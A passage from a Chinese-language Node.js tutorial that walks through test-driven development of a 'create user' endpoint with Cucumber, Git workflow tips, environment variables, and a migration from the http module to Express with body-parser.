在一个新标签页中,导航到 localhost:8080
。这次,你不会看到我们的 Hello, World!
文本;这是因为我们的服务器还没有提供响应!相反,它已经暂停在我们设置的断点处。
在左侧,我们可以看到一个名为 VARIABLES 的标签页,在这里我们可以看到所有在断点处可用的本地、闭包和全局变量。当我们展开 req
变量时,我们会找到 method
和 url
属性,这正是我们所需要的:
我鼓励你花几分钟时间探索 req
和 res
对象的结构。
我们已经添加了几个 VSCode 调试器配置,并且应该将这些更改提交到我们的 Git 仓库。然而,VSCode 配置并不是我们创建用户功能的组成部分,应该直接提交到 dev
分支。
制作工作进行中(WIP)提交
然而,我们已经对创建用户功能做了一些更改,除非我们 git commit
或 git stash
这些更改,否则我们无法检出 dev
分支。理想情况下,我们应该将整个创建用户功能一起提交;在我们的 Git 历史树中保留 工作进行中(WIP)的提交是不干净的。
为了解决这个困境,我们可以使用 git stash
,但这可能会相当令人困惑,并且你可能会丢失你的工作。相反,我们现在将提交 WIP 变更,稍后用完整的实现来修正提交。我们可以这样做,因为我们正在本地功能分支上工作,而不是永久的 dev
或 master
分支之一。这意味着只要我们不将我们的变更推送到远程仓库,其他人就不会知道关于 WIP 提交的事情。
工作流程将如下所示:
-
在
create-user/main
分支上,将我们与创建用户功能相关的 WIP 变更git commit
。 -
git checkout
到dev
分支。 -
再次添加
@babel/node
包。 -
将 VSCode 调试器配置变更
git commit
到dev
分支。 -
git checkout
到create-user/main
分支。 -
将
create-user/main
分支git rebase
到dev
分支。 -
继续工作在该功能上。
-
运行
git add
和git commit --amend
以在现有提交中提交我们的实现代码。 -
运行
yarn install
以确保所有包都已链接,特别是那些存在于create-user/main
分支但不在dev
分支中的包。
按照该工作流程,我们应该执行以下命令:
$ git add package.json yarn.lock spec/cucumber/steps/index.js
$ git commit -m "WIP Implement Create User with Empty Payload"
$ git checkout dev
$ yarn add @babel/node --dev
$ git add -A
$ git commit -m "Add configuration for VSCode Debugger"
$ git checkout create-user/main
$ git rebase dev
$ yarn install
断言正确的响应状态码
现在我们已经了解了如何使用调试器检查复杂对象的结构,我们准备实现检查响应状态的逻辑。为了使第二个测试通过,我们必须返回一个带有 400
HTTP 状态码的响应。使用 TDD,我们应该编写最少的代码来使测试通过。一旦测试通过,我们就可以花一些时间重构代码,使其更加优雅。
使测试通过的最直接逻辑是简单地检查 req
对象的 method
和 url
是否与 'POST'
和 '/users'
完全匹配,并针对此场景返回特定的 400
HTTP 状态码。如果不匹配,则像以前一样返回 Hello World!
响应。在做出更改后,requestHandler
函数应该看起来像这样:
function requestHandler(req, res) {
if (req.method === 'POST' && req.url === '/users') {
res.statusCode = 400;
res.end();
return;
}
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Hello, World!');
}
现在,重新启动我们的 API 服务器并运行端到端测试;前四个步骤现在应该通过了。
你不需要它(YAGNI)
注意,之前的逻辑将无差别地返回 400
响应,即使有效负载不为空。这是可以的,因为 TDD 流程鼓励你编写尽可能少的代码来使测试通过,到目前为止,我们只为空有效负载场景编写了一个测试。
这个背后的理由是确保你没有陷入编写不需要的代码的陷阱。这个原则被总结为短语“你不需要它”,或YAGNI,这是一个起源于极限编程(XP)的原则。它最初的状态是“当你真正需要的时候才实现事物,永远不要只是预见你需要它们”。你可能也听说过短语“做最简单的事情,让它尽可能工作”(DTSTTCPW)。
严谨并坚持这个原则会带来几个好处:
-
它确保你遵循 TDD:测试是在代码之前编写的。
-
它能节省你的时间:如果我们提前实现一个特性,在它被需要之前,可能最终发现这个特性根本不需要,或者特性已经从你实现它时的想法发生了变化,或者代码的其他部分已经改变,你需要修改你的原始实现。无论如何,你都会在无用的东西上浪费时间。
即使你“确信”无误,也要养成遵循 YAGNI 原则的习惯。
断言正确的响应有效载荷
下一个测试要求有效载荷是一个 JSON 对象。由于我们的服务器正在以 JSON 对象的形式回复,Content-Type
头也应该反映这一点。因此,在我们的步骤定义中,我们应该检查这两个标准。在spec/cucumber/steps/index.js
中更新步骤定义如下:
let payload;
...
Then('the payload of the response should be a JSON object', function () {
const response = result || error;
// Check Content-Type header
const contentType = response.headers['Content-Type'] || response.headers['content-type'];
if (!contentType || !contentType.includes('application/json')) {
throw new Error('Response not of Content-Type application/json');
}
// Check it is valid JSON
try {
payload = JSON.parse(response.text);
} catch (e) {
throw new Error('Response not a valid JSON object');
}
});
现在,重启我们的 API 服务器并再次运行测试;我们应该得到一个失败的测试:
$ yarn run test:e2e
....F-
...
 Then our API should respond with a 400 HTTP status code
 And the payload of the response should be a JSON object
Error: Response not of Content-Type application/json
at World.<anonymous> (spec/cucumber/steps/index.js:41:11)
- And contains a message property which says "Payload should not be empty"
红色。绿色。重构。现在我们有一个失败的测试(红色),下一步是让它通过(绿色)。要做到这一点,我们必须将Content-Type
头设置为application/json
并在有效载荷中提供一个 JSON 对象。将我们的requestHandler
函数更改为以下内容:
function requestHandler(req, res) {
if (req.method === 'POST' && req.url === '/users') {
res.writeHead(400, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({}));
return;
}
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Hello, World!');
}
再次运行测试,前五个测试应该已经通过。
断言正确的响应有效载荷内容
现在,继续到最后一个测试。我们需要我们的错误对象有效载荷包含一个读取为"Payload should not be empty"
的message
属性。所以首先,让我们实现我们的测试:
Then('contains a message property which says "Payload should not be empty"', function () {
if (payload.message !== 'Payload should not be empty') {
throw new Error();
}
});
接下来,再次运行测试,它们应该失败。然后,为了让它通过,我们需要将一个不同的对象传递给res.end
方法。你的if
块现在应该看起来像这样:
if (req.method === 'POST' && req.url === '/users') {
res.writeHead(400, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({
message: 'Payload should not be empty',
}));
return;
}
现在,当我们再次运行我们的端到端测试时,它们都应该通过:
$ yarn run test:e2e
......
1 scenario (1 passed)
6 steps (6 passed)
重构
记住,TDD 过程可以用短语“红色。绿色。重构”来总结。在这里,我们编写了失败的测试(红色)并编写了一些代码来使它们通过(绿色);因此,下一步是重构,提醒一下,这意味着重构和改进实现的质量,而不改变其外部行为。这可能意味着以下内容:
-
减少重复代码(保持 DRY)
-
提高可读性
-
使我们的代码更模块化
-
减少循环复杂度,可能通过将较大的函数分解成较小的函数
应该对我们的整个代码库进行重构,这包括测试代码和我们的应用程序代码。然而,我们的应用程序代码已经很整洁,目前没有明显的改进区域。因此,我们可以专注于改进我们的测试代码。
为每个场景隔离上下文
目前,我们正在将request
、result
、error
和payload
变量存储在文件作用域的最高级别。
但步骤定义可以在不同的场景中混合使用。例如,在另一个场景中,我们正在更新特定的用户,我们可能想测试当给出一个格式不正确的请求时,API 是否返回正确的状态码。在这里,我们可以重用相同的步骤定义,"我们的 API 应该响应 400 HTTP 状态码"
,但这次,如果之前的步骤定义在不同的文件中,error
变量可能不会被设置。
而不是使用文件作用域变量,我们可以将上下文对象传递给每个步骤,并使用它来跟踪结果。这个上下文对象将贯穿整个场景,并在每个步骤中可用。在 Cucumber 的术语中,每个场景的独立上下文被称为世界。上下文对象作为每个步骤中的this
对象暴露出来。
在步骤定义的代码函数内部,确保你使用箭头函数,这会自动绑定this
。
因此,我们可以将响应(无论它是成功还是错误)分配给更具通用名称的this.response
,并对所有其他顶级文件作用域变量做同样的处理。经过这些更改后,我们应该得到以下spec/cucumber/steps/index.js
文件:
import superagent from 'superagent';
import { When, Then } from 'cucumber';
When('the client creates a POST request to /users', function () {
this.request = superagent('POST', 'localhost:8080/users');
});
When('attaches a generic empty payload', function () {
return undefined;
});
When('sends the request', function (callback) {
this.request
.then((response) => {
this.response = response.res;
callback();
})
.catch((error) => {
this.response = error.response;
callback();
});
});
Then('our API should respond with a 400 HTTP status code', function () {
if (this.response.statusCode !== 400) {
throw new Error();
}
});
Then('the payload of the response should be a JSON object', function () {
// Check Content-Type header
const contentType = this.response.headers['Content-Type'] || this.response.headers['content-type'];
if (!contentType || !contentType.includes('application/json')) {
throw new Error('Response not of Content-Type application/json');
}
// Check it is valid JSON
try {
this.responsePayload = JSON.parse(this.response.text);
} catch (e) {
throw new Error('Response not a valid JSON object');
}
});
Then('contains a message property which says "Payload should not be empty"', function () {
if (this.responsePayload.message !== 'Payload should not be empty') {
throw new Error();
}
});
当我们重构时,我们必须小心不要改变现有代码的行为。因此,再次运行我们的测试以确保它们仍然通过:
$ yarn run test:e2e
......
1 scenario (1 passed)
6 steps (6 passed)
使失败信息更加丰富
目前,如果其中一个断言失败,我们抛出一个通用的Error
对象:
throw new Error();
当测试实际失败时,错误信息并不有帮助,因为它没有告诉我们实际的结果:
✗ Then our API should respond with a 400 HTTP status code
{}
Error
at World.<anonymous>
我们可以通过抛出一个AssertionError
实例而不是仅仅抛出一个Error
实例来改进这一点。AssertionError
是 Node.js 提供的一个类,允许你指定期望和实际的结果。
要使用它,首先从assert
模块中导入:
import { AssertionError } from 'assert';
然后,将我们的步骤定义更改为以下内容:
Then('our API should respond with a 400 HTTP status code', function () {
if (this.response.statusCode !== 400) {
throw new AssertionError({
expected: 400,
actual: this.response.statusCode,
});
}
});
现在,当出现错误时,错误输出信息更加丰富:
Then our API should respond with a 400 HTTP status code
AssertionError [ERR_ASSERTION]: 200 undefined 400
+ expected - actual
-200
+400
at new AssertionError (internal/errors.js:86:11)
at World.<anonymous> (spec/cucumber/steps/index.js:27:11)
然而,我们可以做得更好,直接使用assert
模块中的equal
方法。现在,我们的步骤定义更加简洁:
import assert from 'assert';
...
Then('our API should respond with a 400 HTTP status code', function () {
assert.equal(this.response.statusCode, 400);
assert.equal
如果传入的参数不相等,将自动抛出一个AssertionError
。
现在同样对检查响应消息的步骤定义进行相同的操作:
Then('contains a message property which says "Payload should not be empty"', function () {
assert.equal(this.responsePayload.message, 'Payload should not be empty');
});
移除硬编码的值
由于我们现在只是在本地上运行这些测试,我们可以简单地硬编码我们本地 API 服务器的主机名,我们将其设置为 http://localhost:8080/
。然而,将值硬编码到我们的代码中永远不是最佳做法,因为当我们想在不同的服务器上运行这些相同的测试时,我们必须编辑代码本身。
相反,我们可以利用环境变量,我们可以在项目根目录的 .env
文件中设置它们,并在运行测试时加载它们。
创建一个新的 .env
文件,并添加以下条目:
SERVER_PROTOCOL=http
SERVER_HOSTNAME=localhost
SERVER_PORT=8080
接下来,我们需要将环境变量加载到我们的代码中。我们可以使用 dotenv-cli
包 (www.npmjs.com/package/dotenv-cli
) 来完成这个任务:
$ yarn add dotenv-cli --dev
要使用 dotenv-cli
包,你只需在你想运行的命令前加上 dotenv
,它将从 .env
文件中加载变量,然后运行该命令:
dotenv <command with arguments>
因此,让我们将我们的 serve
和 test:e2e
npm 脚本更改为使用 dotenv-cli
包。请注意,我们在 dotenv
加载完环境变量后,使用双横线 (--
) 将标志传递给 cucumber-js
:
"serve": "yarn run build && dotenv node dist/index.js",
"test:e2e": "dotenv cucumber-js -- spec/cucumber/features --require-module @babel/register --require spec/cucumber/steps",
然后,在我们的代码中,删除硬编码的主机名,并用环境变量替换它:
this.request = superagent('POST', `${process.env.SERVER_HOSTNAME}:${process.env.SERVER_PORT}/users`);
再次,我们应该运行测试以确保它们通过:
$ yarn run test:e2e
......
1 scenario (1 passed)
6 steps (6 passed)
最后,使用环境变量的目的是不同的环境会有不同的设置;因此,我们不应该将 .env
文件跟踪到 Git 中。然而,我们确实想记录支持哪些环境变量,因此我们应该将我们的 .env
文件复制到一个新的 .env.example
文件中,并将其添加到我们的 Git 仓库中:
$ cp .env .env.example
我们现在实现了一个新的功能,它对单个场景是功能性的;这是一个将代码提交到 Git 仓库的好时机。记住我们之前已经做了一次 WIP 提交。所以现在,我们不应该运行 git commit
,而应该添加一个 --amend
标志,这将覆盖并替换我们之前的提交:
$ git add -A
$ git commit --amend -m "Handle create user calls with empty payload"
验证数据类型
我们已经完成了第一个场景,所以让我们继续我们的第二个和第三个场景。作为提醒,它们如下所示:
-
如果客户端向
/users
发送一个非 JSON 有效负载的POST
请求,我们的 API 应该返回一个415 Unsupported Media Type
HTTP 状态码,并包含一个适当的错误信息的 JSON 对象有效负载。 -
如果客户端向
/users
发送一个包含格式错误的 JSON 有效负载的POST
请求,我们的 API 应该返回一个400 Bad Request
HTTP 状态码,并包含一个适当的错误信息的 JSON 响应有效负载。
首先,将以下场景定义添加到 spec/cucumber/features/users/create/main.feature
文件中:
Scenario: Payload using Unsupported Media Type
If the client sends a POST request to /users with an payload that is
not JSON,
it should receive a response with a 415 Unsupported Media Type HTTP
status code.
When the client creates a POST request to /users
And attaches a generic non-JSON payload
And sends the request
Then our API should respond with a 415 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says 'The "Content-Type" header must always be "application/json"'
Scenario: Malformed JSON Payload
If the client sends a POST request to /users with an payload that is
malformed,
it should receive a response with a 400 Unsupported Media Type HTTP
status code.
When the client creates a POST request to /users
And attaches a generic malformed payload
And sends the request
Then our API should respond with a 400 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says "Payload should be in JSON format"
注意,第一步、第三步和第五步与上一个场景中的步骤完全相同;因此,Cucumber 可以重用我们已定义的步骤定义。
对于剩余的步骤,然而,我们需要实现它们对应的步骤定义。但由于它们与我们刚刚定义的步骤相似,我们可以复制并粘贴它们并进行一些小的调整。将以下步骤定义复制到 spec/cucumber/steps/index.js
文件中:
When('attaches a generic non-JSON payload', function () {
this.request.send('<?xml version="1.0" encoding="UTF-8" ?><email>dan@danyll.com</email>');
this.request.set('Content-Type', 'text/xml');
});
When('attaches a generic malformed payload', function () {
this.request.send('{"email": "dan@danyll.com", name: }');
this.request.set('Content-Type', 'application/json');
});
Then('our API should respond with a 415 HTTP status code', function () {
assert.equal(this.response.statusCode, 415);
});
Then('contains a message property which says \'The "Content-Type" header must always be "application/json"\'', function () {
assert.equal(this.responsePayload.message, 'The "Content-Type" header must always be "application/json"');
});
Then('contains a message property which says "Payload should be in JSON format"', function () {
assert.equal(this.responsePayload.message, 'Payload should be in JSON format');
});
现在,当我们再次运行测试时,Payload using Unsupported Media Type
场景的前三个步骤应该通过:
$ yarn run test:e2e
.........F--
Failures:
1) Scenario: Payload using Unsupported Media Type
 When the client creates a POST request to /users
And attaches a generic non-JSON payload
And sends the request
Then our API should respond with a 415 HTTP status code
AssertionError [ERR_ASSERTION]: 400 == 415
+ expected - actual
-400
+415
at World.<anonymous> (spec/cucumber/steps/index.js:35:10)
- And the payload of the response should be a JSON object
- And contains a message property which says "Payload should be in JSON format"
2 scenarios (1 failed, 1 passed)
12 steps (1 failed, 2 skipped, 9 passed)
第四个步骤失败,因为在我们代码中,我们没有特别处理负载是非 JSON 或格式不正确的对象的情况。因此,我们必须添加一些额外的逻辑来检查 Content-Type
标头和请求负载的实际内容,这比盲目返回 400
响应要复杂得多:
import '@babel/polyfill';
import http from 'http';
function requestHandler(req, res) {
if (req.method === 'POST' && req.url === '/users') {
const payloadData = [];
req.on('data', (data) => {
payloadData.push(data);
});
req.on('end', () => {
if (payloadData.length === 0) {
res.writeHead(400, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({
message: 'Payload should not be empty',
}));
return;
}
if (req.headers['content-type'] !== 'application/json') {
res.writeHead(415, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({
message: 'The "Content-Type" header must always be "application/json"',
}));
return;
}
try {
const bodyString = Buffer.concat(payloadData).toString();
JSON.parse(bodyString);
} catch (e) {
res.writeHead(400, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({
message: 'Payload should be in JSON format',
}));
}
});
} else {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Hello, World!');
}
}
const server = http.createServer(requestHandler);
server.listen(8080);
对于 POST
和 PUT
请求,请求体的负载可以相当大。因此,与其一次性接收整个负载的大块数据,不如将其作为更小的单元流式传输。传递给 requestHandler
函数的请求对象 req
实现了 ReadableStream
接口。为了从 POST
和 PUT
请求中提取请求体,我们必须监听从流中发出的 data
和 end
事件。
每当我们的服务器接收到新的数据时,将发出 data
事件。传递给 data
事件监听器的参数是 Buffer
类型,它只是原始数据的一个小块。在我们的情况下,data
参数代表 JSON 请求负载的一小块。
然后,当流完成时,将发出 end
事件。正是在这里,我们检查负载是否为空,如果为空,则返回一个 400
错误,就像之前做的那样。但如果不是空的,我们接着检查 Content-Type
标头,看它是否为 application/json
;如果不是,我们返回一个 415
错误。最后,为了检查 JSON 是否格式正确,我们将缓冲区数组连接起来以恢复原始负载。然后,我们尝试使用 JSON.parse
解析负载。如果负载可以被解析,我们不做任何事情;如果不能,这意味着负载不是有效的 JSON,我们应该返回一个 400
错误,正如我们在步骤中指定的那样。
最后,我们必须将 JSON.parse()
调用包裹在 try
/catch
块中,因为如果负载不是一个可序列化为 JSON 的字符串,它将抛出一个错误:
JSON.parse('<>'); // SyntaxError: Unexpected token < in JSON at position 0
我们再次运行测试;现在所有测试都应该通过,只有一个例外:步骤 And contains a message property which says 'The "Content-Type" header must always be "application/json"'
被说成是未定义的。但如果我们检查我们的步骤定义,我们肯定可以看到它确实是定义过的。那么发生了什么?
这是因为正斜杠字符 (/
) 在 Gherkin 中有特殊含义。它指定 替代文本,这允许你匹配斜杠两侧的任意一个字符串。
例如,步骤定义模式 客户端发送一个 GET/POST 请求
将匹配以下两个步骤:
-
`客户端发送一个 GET 请求`
-
客户端发送一个 POST 请求
不幸的是,没有方法可以转义替代文本字符。相反,我们必须使用正则表达式来匹配此步骤定义模式到其步骤。这就像将包含的单引号替换为/^
和$/,
,并转义正斜杠一样:
Then(/^contains a message property which says 'The "Content-Type" header must always be "application\/json"'$/, function () {
assert.equal(this.responsePayload.message, 'The "Content-Type" header must always be "application/json"');
});
现在,我们所有的测试都应该通过:
$ yarn run test:e2e
..................
3 scenarios (3 passed)
18 steps (18 passed)
为了保持一致性,将所有其他字符串模式替换为正则表达式;再次运行测试以确保它们仍然通过。
重构我们的测试
红色。绿色。重构。我们又回到了“绿色”阶段;因此,下一步是重构。我们将首先从测试代码开始。
使用场景概述
在我们的第二个场景中,我们有三个步骤与我们的第一个场景中定义的步骤非常相似。到目前为止,我们只是简单地复制粘贴这些步骤定义并对它们进行一些小的修改。在代码方面,重复或复制从来都不是好事;因此,我们可以定义一个场景概述,它作为一个模板场景,包含可以插入的占位符变量。例如,我们可以将这两个场景组合成一个场景概述,如下所示:
Feature: Create User
Clients should be able to send a request to our API in order to create a
user. Our API should also validate the structure of the payload and respond
with an error if it is invalid.
Scenario Outline: Bad Client Requests
If the client sends a POST request to /users with an empty payload, it
should receive a response with a 4xx Bad Request HTTP status code.
When the client creates a POST request to /users
And attaches a generic <payloadType> payload
And sends the request
Then our API should respond with a <statusCode> HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says <message>
Examples:
| payloadType | statusCode | message |
| empty | 400 | "Payload should not be empty" |
| non-JSON | 415 | 'The "Content-Type" header must always be "application/json"' |
| malformed | 400 | "Payload should be in JSON format" |
首先,我们将关键字从Scenario
更改为Scenario Outline
并添加了占位符(用<>
括起来)。然后,我们使用Examples
关键字提供这些占位符的实际值,形式为一个数据表,它只是由竖线字符(|
)分隔的值列。现在,我们的 Cucumber 规范重复性少了很多!
在每次重构步骤之后,我们应该注意确保我们没有破坏任何东西。所以再次运行我们的测试并检查它们是否仍然通过。
合并重复的步骤定义
同样地,我们可以在步骤定义中引入参数来帮助我们避免代码重复。对于字符串模式,参数可以使用花括号({}
)指定,其中指示变量的类型。
例如,我们的Then our API should respond with a <statusCode> HTTP status code
步骤定义可以重新定义为以下内容:
Then('our API should respond with a {int} HTTP status code', function (statusCode) {
assert.equal(this.response.statusCode, statusCode);
});
在这里,我们将硬编码的400
HTTP 状态码替换为一个占位符,{int}
,这表示模式应该匹配一个整数。然后,我们将占位符的值传递给代码函数作为statusCode
,然后用于执行检查。
我们也可以用正则表达式模式来做同样的事情。而不是使用花括号,我们可以通过在 RegEx 中添加捕获组来定义参数。例如,使用正则表达式模式,同样的步骤定义看起来会是这样:
Then(/^our API should respond with a ([1-5]\d{2}) HTTP status code$/, function (statusCode) {
assert.equal(this.response.statusCode, statusCode);
});
更新你的spec/cucumber/steps/index.js
文件,为正则表达式模式添加组,并在你的步骤定义函数中使用这些捕获的参数。最终结果应该看起来像这样:
import assert from 'assert';
import superagent from 'superagent';
import { When, Then } from 'cucumber';
When(/^the client creates a (GET|POST|PATCH|PUT|DELETE|OPTIONS|HEAD) request to ([/\w-:.]+)$/, function (method, path) {
this.request = superagent(method, `${process.env.SERVER_HOSTNAME}:${process.env.SERVER_PORT}${path}`);
});
When(/^attaches a generic (.+) payload$/, function (payloadType) {
switch (payloadType) {
case 'malformed':
this.request
.send('{"email": "dan@danyll.com", name: }')
.set('Content-Type', 'application/json');
break;
case 'non-JSON':
this.request
.send('<?xml version="1.0" encoding="UTF-8" ?><email>dan@danyll.com</email>')
.set('Content-Type', 'text/xml');
break;
case 'empty':
default:
}
});
When(/^sends the request$/, function (callback) {
this.request
.then((response) => {
this.response = response.res;
callback();
})
.catch((error) => {
this.response = error.response;
callback();
});
});
Then(/^our API should respond with a ([1-5]\d{2}) HTTP status code$/, function (statusCode) {
assert.equal(this.response.statusCode, statusCode);
});
Then(/^the payload of the response should be a JSON object$/, function () {
// Check Content-Type header
const contentType = this.response.headers['Content-Type'] || this.response.headers['content-type'];
if (!contentType || !contentType.includes('application/json')) {
throw new Error('Response not of Content-Type application/json');
}
// Check it is valid JSON
try {
this.responsePayload = JSON.parse(this.response.text);
} catch (e) {
throw new Error('Response not a valid JSON object');
}
});
Then(/^contains a message property which says (?:"|')(.*)(?:"|')$/, function (message) {
assert.equal(this.responsePayload.message, message);
});
重构我们的应用程序
现在我们已经重构了测试,我们可以将注意力转向重构我们的应用程序代码。拥有现有的端到端测试的好处是,如果在重构过程中我们破坏了某些东西,测试将会失败,我们能够快速修复它们。
如同之前,让我们列出我们当前代码的所有问题:
-
它的可读性并不高。
-
我们必须与相当低级的结构一起工作,例如流和缓冲区。
-
我们没有考虑到性能和安全性的影响。例如,我们没有处理负载极大(甚至无限大)的情况。如果我们想确保我们服务的高可用性,这是一个需要避免的危险情况。
对于最后一个问题,我们可以在req.on('data')
块内添加一个额外的if
块来检查负载是否变得过大;如果是,我们可以返回一个413 Payload Too Large
错误。在下面的示例中,我们使用了一个限制为1e6
,即一百万,或1,000,000
字节。
const PAYLOAD_LIMIT = 1e6;
req.on('data', function (data) {
payloadData.push(data);
const bodyString = Buffer.concat(payloadData).toString();
if (bodyString.length > PAYLOAD_LIMIT) {
res.writeHead(413, { 'Content-Type': 'text/plain' });
res.end();
res.connection.destroy();
}
});
然而,这使得代码更加难以理解。目前,我们 API 背后的功能并不多,但我们的代码已经相当长且复杂;想象一下,当我们必须实现解析 URL 路径、查询参数等的逻辑时,它将变得多么晦涩难懂。
如您所预期,这些问题已经被框架解决并优化了。因此,让我们看看我们可以使用的库,然后选择最适合我们用例的一个。
选择一个框架
至少,我们想要一个基本的路由器;最多,我们想要一个网络框架。在本节中,我们将关注四个最受欢迎的框架:Express、Koa、Hapi和Restify:
名称 | 网站 | 首次发布 | GitHub 星标 | 描述 |
---|---|---|---|---|
Express | expressjs.com | 2010 年 1 月 3 日 | 39,957 | "快速、无偏见、极简主义的 Node.js 网络框架"。Express 是 Node 原生http 模块之上的一个薄路由层,支持模板和中间件(在请求对象传递给处理器之前预处理请求对象的函数)。Express 是存在时间最长的,也是 Node.js 最受欢迎的框架。我们将使用 Express 作为基准,与其他库进行比较。 |
Koa | koajs.com | 2013 年 11 月 8 日 | 22,847 | 由 Express 背后的开发者 TJ Holowaychuk 创建。它与 Express 类似,但使用异步函数而不是回调。 |
Hapi | hapijs.com | Aug, 21 2012 | 9,913 | 虽然 Express 简约,但 Hapi 自带了许多内置功能,如输入验证、缓存和身份验证;你只需在配置对象中指定该路由的设置即可。与 Express 的中间件类似,Hapi 也有请求生命周期和扩展点,你可以在这里处理请求或响应对象。Hapi 还支持插件系统,允许你将应用程序拆分为模块化部分。 |
Restify | restify.com | May, 6 2011 | 8,582 | 提供微服务 API 的 REST 框架。它本质上与 Express 相同,但没有模板部分。它支持DTrace,这允许你找出进程使用的资源量(例如,内存、CPU 时间、文件系统 I/O 和带宽)。 |
对于基本功能,如路由,所有这些框架都绰绰有余。它们之间的区别仅在于它们的哲学和社区支持。
Express 无疑是最受欢迎的,并且拥有最多的社区支持,但它需要大量的配置和额外的中间件才能使其正常工作。另一方面,Hapi 以配置为中心的哲学非常有趣,因为它意味着我们不需要更改我们的代码或更新 10 个不同的中间件,即使功能代码被更改和优化也是如此。这是配置即代码,这是一个很好的哲学理念。
然而,当我们使用 React 开发我们的前端应用程序时,我们可能会稍后决定使用更高级的功能,例如服务器端渲染(SSR)。对于这些,我们需要确保我们使用的工具和集成是广泛使用的,这样如果遇到任何问题,就会有大量的开发者已经遇到过并解决了这些问题。否则,我们可能会浪费大量时间查看源代码来找出一个简单的问题。
因此,虽然从理论上讲 Hapi 可能是一个更好的选择,但我们将使用 Express,因为它更受欢迎,并且拥有更多的社区支持。
由于迁移到 Express 是一个复杂的过程,我建议你在继续之前提交你的代码:
$ git add -A && git commit -m "Handle malformed/non-JSON payloads for POST /user"
将我们的 API 迁移到 Express
安装 Express 有两种方式:直接在代码中或通过express-generator
应用程序生成器工具。express-generator
工具安装了express
CLI,我们可以用它来生成应用程序骨架。然而,我们不会使用它,因为它主要用于面向客户端的应用程序,而我们目前只是尝试构建一个服务器端 API。相反,我们将直接将express
包添加到我们的代码中。
首先,将包添加到我们的项目中:
$ yarn add express
现在打开你的src/index.js
文件,将我们的import
语句中的http
模块替换为express
包。同时,将当前的http.createServer
和server.listen
调用替换为express
和app.listen
。之前是这样的:
...
import http from 'http';
...
const server = http.createServer(requestHandler);
server.listen(8080);
现在会是这样的:
...
import express from 'express';
...
const app = express();
app.listen(process.env.SERVER_PORT);
为了帮助我们了解服务器何时成功初始化,我们应该向app.listen
添加一个回调函数,它将在控制台输出一条消息:
app.listen(process.env.SERVER_PORT, () => {
// eslint-disable-next-line no-console
console.log(`Hobnob API server listening on port ${process.env.SERVER_PORT}!`);
});
我们需要禁用 ESLint 来处理console.log
行,因为 Airbnb 的风格指南强制执行no-console
规则。// eslint-disable-next-line
是一种 ESLint 能识别的特殊注释,它会导致 ESLint 禁用下一行指定的规则。如果你想要禁用注释所在的同一行,也可以使用// eslint-disable-line
注释。
(重新)定义路由
接下来,让我们将我们的requestHandler
函数迁移到 Express。使用 Express,我们不再需要为所有路由定义单个请求处理器,而是可以使用app.METHOD('path', callback)
的格式为每个路由定义请求处理器,其中METHOD
是请求的 HTTP 方法。
因此,用app.post
调用替换我们之前的requestHandler
函数。这是我们的旧实现:
function requestHandler(req, res) {
if (req.method === 'POST' && req.url === '/users') {
// Handler logic for POST /user
} else {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Hello, World!');
}
}
这是我们的新实现:
app.post('/users', (req, res) => {
// Handler logic for POST /user
});
Express 传递的req
和res
对象与 Node 的http
模块传递的相同;这就是为什么我们可以重用之前的相同逻辑。再次运行测试,它们应该仍然全部通过:
$ yarn run test:e2e
............
2 scenarios (2 passed)
12 steps (12 passed)
我们使用 Express 的代码比原始示例更清晰;在这里,每个路由都在自己的块中定义。此外,如果收到对未指定路由的请求,则会自动返回404: Not Found
响应。这些小便利之处突出了使用框架而不是编写自己的实现的好处之一。
此外,我们不再使用res.writeHead
,而是可以使用res.status
和res.set
:
# Without Express
res.writeHead(400, { 'Content-Type': 'application/json' });
# With Express
res.status(400);
res.set('Content-Type', 'application/json');
同样,我们不再使用res.end
与JSON.stringify
,而是可以使用 Express 提供的新的res.json
方法。
res.end(JSON.stringify({ message: 'Payload should not be empty' })); // Without Express
res.json({ message: 'Payload should not be empty' }); // With Express
使用 body-parser 中间件
这只是我们 Express 之旅的开始。Express 的力量在于其丰富的中间件,这些中间件是每个请求都必须通过的功能。这些中间件函数可以选择在请求到达处理器之前修改请求对象。
因此,我们不再需要使用流和缓冲区来获取我们的有效负载数据,而是可以利用一个非常流行的中间件包body-parser
。body-parser
提供了将请求体解析为 JavaScript 对象的能力,然后这些对象可以被我们的处理器消费。它以高效和优化的方式完成这项工作,并提供保护措施以确保有效负载不会太大。所以,让我们来安装它:
$ yarn add body-parser
然后,将以下行添加到src/index.js
的顶部,以指示我们的应用程序服务器使用body-parser
包来解析任何具有 JSON 体的请求:
import bodyParser from 'body-parser';
...
app.use(bodyParser.json({ limit: 1e6 }));
bodyParser.json
方法返回一个中间件。在这里,我们使用app.use()
方法来指示我们的 Express 服务器实例使用由bodyParser.json
方法生成的中间件。中间件将解析有效负载并将其分配给req
对象的body
属性。我们不再需要处理流和缓冲区;我们可以直接从req.body
获取有效负载!
在我们的app.post('/users')
调用中,删除任何与缓冲区和流相关的代码,并将payloadData
变量替换为req.body
。最后,将我们第一个 if 块中的条件req.body.length === 0
替换为req.headers['content-length'] === '0'
。现在我们的处理器应该看起来像这样:
app.post('/users', (req, res) => {
if (req.headers['content-length'] === 0) {
res.status(400);
res.set('Content-Type', 'application/json');
res.json({
message: 'Payload should not be empty',
});
return;
}
if (req.headers['content-type'] !== 'application/json') {
res.status(415);
res.set('Content-Type', 'application/json');
res.json({
message: 'The "Content-Type" header must always be "application/json"',
});
return;
}
res.status(400);
res.set('Content-Type', 'application/json');
res.json({
message: 'Payload should be in JSON format',
});
});
运行端到端测试
但如果我们现在运行端到端测试,发送格式不正确的 JSON 的场景将会失败。这是因为body-parser
中间件的工作方式。bodyParser.json()
中间件将尝试解析所有请求的有效负载,这些请求的Content-Type
头设置为application/json
。然而,如果有效负载本身不是一个有效的 JSON 对象,中间件将抛出一个类似于以下错误:
SyntaxError {
expose: true,
statusCode: 400,
status: 400,
body: '{"email": "dan@danyll.com", name: }',
type: 'entity.parse.failed'
}
